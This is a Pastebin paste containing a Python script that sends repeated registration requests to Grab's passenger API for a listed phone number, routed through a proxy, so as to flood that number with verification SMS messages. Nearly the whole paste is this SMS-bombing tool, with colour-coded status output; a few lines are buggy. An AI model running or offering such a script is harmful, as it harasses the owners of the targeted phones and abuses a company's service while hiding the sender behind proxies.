Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests, random, time
- class color:
- HEADER = '\x1b[95m'
- OKBLUE = '\x1b[94m'
- OKGREEN = '\x1b[92m'
- WARNING = '\x1b[93m'
- FAIL = '\x1b[91m'
- ENDC = '\x1b[0m'
- BOLD = '\x1b[1m'
- UNDERLINE = '\x1b[4m'
- REVERSE = '\x1b[7m'
- def wrapsbrace(string, endspace=False):
- if endspace == True:
- return '[' + string + '] '
- return '[' + string + ']'
- def showstatus(message, type='new', escape_x=None):
- icon = '*'
- if type == 'warn':
- icon = '!'
- escape = color.FAIL + color.REVERSE
- else:
- if type == 'new':
- icon == '*'
- escape = color.OKGREEN
- if escape_x != None:
- escape = escape_x
- message = escape + color.BOLD + '[' + icon + ']' + color.ENDC + escape + message + color.ENDC
- return message
- phones = [
- 37529*******,
- ]
- proxies = [
- "88.198.50.103:8080",
- ]
- for i in range(5):
- for phone in phones:
- proxy = proxies[random.randint(0,len(proxies)-1)]
- print(showstatus(wrapsbrace('info', True) + ('Send GAC SMS to ' + str(phone) +" : " + proxy)))
- try:
- r = requests.post('https://p.grabtaxi.com/api/passenger/v2/profiles/register', data={'phoneNumber': str(phone), 'countryCode': 'ID', 'name': 'test', 'email': 'mail@mail.com', 'deviceToken': '*'}, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36'}, proxies={'http': str(proxy)})
- except requests.exceptions.ConnectionError:
- print( showstatus( + wrapsbrace('except', True) + ('ConnectionError thrown!'), 'warn'))
- else:
- if r.status_code == 429:
- print( showstatus( wrapsbrace(('429 {}').format(r.reason), True), 'warn', color.WARNING + color.REVERSE))
- elif r.status_code == 200:
- print( showstatus( wrapsbrace('200 OK', True) + ('GAC SMS sent!')))
- else:
- print( showstatus( wrapsbrace(('{} {}').format(r.status_code,r.reason), True) + 'Something went wrong. Exiting thread . . .', 'warn'))
- time.sleep(5)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement